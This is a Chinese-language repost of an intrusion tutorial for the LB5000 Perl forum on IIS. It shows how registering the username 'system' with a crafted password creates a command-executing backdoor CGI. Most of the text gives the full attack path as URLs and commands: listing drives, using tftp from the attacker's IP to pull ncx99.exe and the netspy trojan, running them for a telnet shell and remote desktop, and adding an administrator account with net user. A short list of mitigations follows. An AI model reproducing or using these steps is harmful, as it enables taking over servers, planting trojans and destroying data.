LB5000论坛系统漏洞导制服务器被黑客全部控制

发表于:2007-05-25来源:作者:点击数: 标签:服务器漏洞系统LB5000导制
LB5000论坛系统漏洞导制服务器被黑客全部控制受影响的系统: 安装过LB5000论坛的服务器 综述: ===== 我在看了关于以下的原始资料后,我深入了研究,我们可以把把http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir中的system.cgi做为一个cmd.exe

LB5000论坛系统漏洞导制服务器被黑客全部控制 受影响的系统:  
 
安装过LB5000论坛的服务器
 
综述:
=====

我在看了关于以下的原始资料后,我深入了研究,我们可以把把http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir中的system.cgi做为一个cmd.exe来看(功能相似)..好了.请大家先看一下原始资料


----------------------原始资料------------------------------

LB5000论坛漏洞

by analysist


LB5K可以算是国内最流行的论坛程序了,我以前只发现过一个提升权限的漏洞,比较高的版本基本没有什么安全问题,但是由于前些日子发现了Perl CGI在IIS下的若干问题,也想到了一些事情,今天花了点时间重新看了一下LB5K,结果发现我们完全可以利用这两个漏洞搞一个Perl CGI后门。

测试环境:

平台:Win32
服务器:IIS
支持Perl方式:CGILB5K版本:LB5000II v0830

操作步骤:

1.用户注册页面(http://www.notfound.org/lb5000/cgi-bin/register.cgi),输
入下面信息后提交:

用户名:system
密码:@ARGV###(需要输入两次)
邮件地址:thiz@thiz.org

2.后门搞定,我们测试一下:
http://ip//cgi-bin/members/system.cgi?cd

CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
C:\Inetpub\cgi-bin\members
http://ip/cgi-bin/members/system.cgi?dir

CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:


C:\Inetpub\cgi-bin\members 的目录

2001-10-1811:23 <DIR>.
2001-10-1811:23 <DIR>..
2001-10-1811:24162 system.cgi
1 个文件162 字节
2 个目录1?615?261?696 可用字节

是不是很酷?这个后门一般是不会有人发现的啦,当然我们假设管理员不看日志!:P

临时解决方法:

1.限制“/cgi-bin/members”只能本地访问,并去掉该目录执行权限
2.将“/cgi-bin/members”改名或移到Web目录外
3.不要使用CGI方式支持Perl,可以暂时改为ISAPI方式
4.过滤特殊的用户名,如“system”,“require”,“rename”等
5.限制密码只能为数字和字母组合

PS:BBS3K以及其它所有类似CGI程序都存在此安全问题,只是攻击方法略有不同。

漏洞分析:

==========
cgi-bin\members目录里中的system.cgi是在论坛注册成功system用户后出现的一个CGI文件,后门文件为system.cgi.但打开system.cgi 来看.并没有什么后门程序..

-------------system.cgi源程序为--------------

system@ARGV###Memberme0|0thiz@thiz.orgyesxx.xxx.xxx.xxxhttp://

----------------------------------------------

接着.我深入开始录找有关后门的程序,在注册程序register.cgi中也未能发现..经过一段时间的研究和分析全部程序,找出了有问产生后门的源代码和相关文件,在此,我暂不公布源代码.只介绍此漏洞造成的危险性。



漏洞测试:
==========

从上面的描述可以看出,我们可以利用这个漏洞看到LB5000的目录和文件,http://ip//cgi-bin/members/system.cgi?dir ,“system.cgi?dir”很相似于基于cmd.exe的UNICODE漏洞(cmd.exe?/c+dir+c:\),(关于unicode漏洞教程在本站黑客教程中有详细资料)。因此,研究后门源代码后,知道可以用system.cgi?dir来浏览到整个服务器的文件和目录。并且可以运行和执行别的程序,(可以上载和执行别的后门入侵程序)所以,黑客可以利用此后门来完全控制服务器。

入侵过程为:
1.如原始资料所述注册SYSTEM这个用户名。

2.http://ip//cgi-bin/members/system.cgi?dir 得出:E:\LB所在的目录

2001-10-19  01:03 <DIR>  .
2001-10-19  01:03 <DIR>  ..
2001-10-19  01:03 <DIR>  bbs
2001-10-19  01:03 <DIR>  cgi-bin
2001-10-11  21:31  133 index.asp
1 个文件  133 字节
4 个目录  3,415,437,312 可用字节

OK.到这里,说明后门可以利用。下面将讲述服务器的入侵方式。

3.http://ip//cgi-bin/members/system.cgi?dir+c:\  

(YES~,现在浏览到服务器C盘下全部目录和文件。)

c:\ 的目录

2001-10-19  19:34  638 aureate-uninstall-log.txt
2001-10-18  23:31 <DIR>  Documents and Settings
2001-10-19  19:53 <DIR>  Downloads
2001-10-19  01:09 <DIR>  Inetpub
2001-10-19  19:33  4,806 odbclearcase/" target="_blank" >cconf.log
2001-10-19  01:17 <DIR>  Perl
2001-10-21  04:21 <DIR>  Program Files
2001-10-19  19:20 <DIR>  sql2ksp1
2001-10-21  04:21 <DIR>  WINNT
2 个文件  5,444 字节
7 个目录  5,781,913,600 可用字节

在此,你可以用system.cgi?dir+c:\或dir+d:\ 、dir+e:\ ....等等来完全访问到服务器的所以硬盘根目录下。如果要进一步的访问别的目录,则可以用system.cgi?dir+盘符\目录名如:
http://ip/cgi-bin/members/system.cgi?dir+e:\xajh  
 
e:\xajh 的目录

2001-10-27  01:44 <DIR>  .
2001-10-27  01:44 <DIR>  ..
2001-10-06  00:40  301,974 1.jpg
2001-10-06  00:40  325,735 2.jpg
2001-11-01  17:33 <DIR>  data
2001-10-02  20:31  377,589 Fp.jpg
2001-10-02  20:31  433,779 Fp1.jpg
2001-09-23  11:50  7,141 global.asa
2001-09-23  11:48  119 index.asp
2001-10-25  01:18  647,473,224 OfficeXPsc.ISO
2001-10-27  01:42 <DIR>  rpg
2001-10-27  01:52 30,398,179 rpg.rar
2001-10-20  18:33 10,221,962 webadmin.rar
2001-11-01  00:27 <DIR>  xajh
 10 个文件  698,638,966 字节
5 个目录  3,415,437,312 可用字节

 
4.目录被列出,到这,可以象unicode漏洞方式一样,只是system.cgi?后面不要加c+,如:system.cgi?tftp、system.cgi?del、system.cgi?copy,大家可以多试一下就可以搞定的。此时可以修改主页,删除或在服务器上移动一些文件了。(有相于UNICODE漏洞的教程大家不熟的可以到我站http://flash.hanzhong.com.cn/security的黑客教程中查看详细教程)但此时您的权限很低,怎样得到更高得权限呢?方法也有不少,但成功率并不很高,经过比较,让服务器下载木马的方法较好:

首先,下载http://flash.hanzhong.com.cn/security/tools/unicode.zip
解压后有如下文件:
tftpd32.exe(一个FTP服务器)
ncx99.exe(telnet 到99端口)
这两个大家都熟悉吧,其他的不用管。
运行tftpd32.exe

这是一个小巧的FTP服务器,在运行它之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。


5.回到你的浏览器,在地址栏里填入:

http://ip/cgi-bin/members/system.cgi?tftp -i ???.???.???.??? GET ncx99.exe c:\\inetpub\\scripts\\sr.exe

???.???.???.???为你自己的IP,注意:c:\\inetpub\\scripts\\sr.exe 其中c:\\inetpub\\scripts\\为主机服务器目录,要看主机的具体情况而定,sr.exe为被改名的ncx99.exe(自己选名字吧)如下此目录不可以写入,那你寻找人一下服务器上可写的WEB目录,然后上载到此目录中。要看主机的具体情况而定。


6.然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时ncx99.exe已经上传到主机c:\inetpub\scripts\目录了,您可以自己检查一下。(在这里我们假似scripts目录可写,假定上载到c:\inetpub\scripts目录)

再使用如下调用来执行ncx99.exe (sr.exe可以自己定别名)

http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\sr.exe

然后您就可以 telnet ip 99  (这里IP是指入侵服务器的真实IP,99为telnet后门的端口号)

7.此时,我们就TELNET到服务器了,可以完全控制服务器的目录和文件,可以上载或下载,删除和修改等。但此时是GUEST权限,如果有此文件和目录没有权限进入或修改,那请你上载我本站原创里的dee.exe来完成权限的提升,有关dee的详细内容,请大家查看我站原创里的《net dde漏洞實現夺取系统管理员权限的分析報告》和《权限提升工具,把Guest提升为Administrat》,dee.exe可以到《权限提升工具,把Guest提升为Administrat》此文中的下载地点下载。

8.进一步的入侵过程,此时,我们就来玩点大的,来完全控制服务器,到服务器的桌面上玩玩去。哈哈。。。。

所需要工具为netspy.zip,是一个相似于“冰河的木马程序”,此程序可以到

http://flash.hanzhong.com.cn/security/tools/netspy.zip中下载,下载解压后为netspy.exe (服务器上运行的木马程序),netmonitor.exe(是我们用来控制服务器和进入服务器桌面的木马控制器)

现在开始上载木马到服务器,回到你的浏览器,在地址栏里填入:

http://ip/cgi-bin/members/system.cgi?tftp -i ???.???.???.??? GETnetspy.exe c:\\inetpub\\scripts\\netspy.exe

然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时netspy.exe已经上传到主机c:\inetpub\scripts\目录了,您可以自己检查一下。(在这里我们假似scripts目录可写,假定上载到c:\inetpub\scripts目录)

再使用如下调用来执行netspy.exe

http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\netspy.exe
此时你就可以用netmonitor.exe来接入服务器了。关于netmonitor.exe的使用,我就不说啦,很简单的,在设置这项里填写一下服务器IP,端口等设置不要改,用默认的。然后再加一个空IP,此时,netmonitor.exe程序左边就有了二个IP,先双击空IP这个会显示无法接入,嘿嘿,此时你就双击被你种了木马的服务器的,IP,OK,双击后就可以看到服务器的全部硬盘了,呵呵,这证明木马可以使用了。


9.拿到服务器的administrator帐号和密码,然后用netmonitor.exe上的远程控制这项来进入服务器的桌面。

OK,用上述第五、六项方式开个TELNET的后门,然后telnet ip 99

此时,telnet登录到服务器了。

执行下列命令

c:\net user xixi /add  (添加xixi这个帐号)

c:\net user xixi xixi  (给xixi这个帐号加上密码为xixi)

c:\net localgroup administrators /add guest(把xixi提升到administrators组里,使成为administrator权限)

OK,现在有帐号和密码啦,然后用netmonitor.exe上的远程控制这项来进入服务器的桌面,填入帐号为xixi  密码为xixi ,一个回车键,哈哈,登录到服务器的桌面啦。此时,你想做什么都可以,你就是这台服务器的主人啦。。嘿嘿。。。

附:搞到administrator方式还有:如:

http://ip/cgi-bin/members/system.cgi?echo net user xixi /add
http://ip/cgi-bin/members/system.cgi?echo net user xixi xixi
http://ip/cgi-bin/members/system.cgi?echo net localgroup administrators/add guest>>go.bat
http://ip/cgi-bin/members/system.cgi?c type go.bat 看看我们的批文件内容是否如下:

c:\net user xixi /add  (添加xixi这个帐号)

c:\net user xixi xixi  (给xixi这个帐号加上密码为xixi)

c:\net localgroup administrators /add guest(把xixi提升到administrators组里,使成为administrator权限)然后,http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\bo.bat)
 
好了。全部入侵过程结束。  

 

临时解决方法:
===========

临时解决方法:

1.限制“/cgi-bin/members”只能本地访问,并去掉该目录执行权限
2.将“/cgi-bin/members”改名或移到Web目录外
3.不要使用CGI方式支持Perl,可以暂时改为ISAPI方式
4.过滤特殊的用户名,如“system”,“require”,“rename”等
5.限制密码只能为数字和字母组合

原文转自:http://www.ltesting.net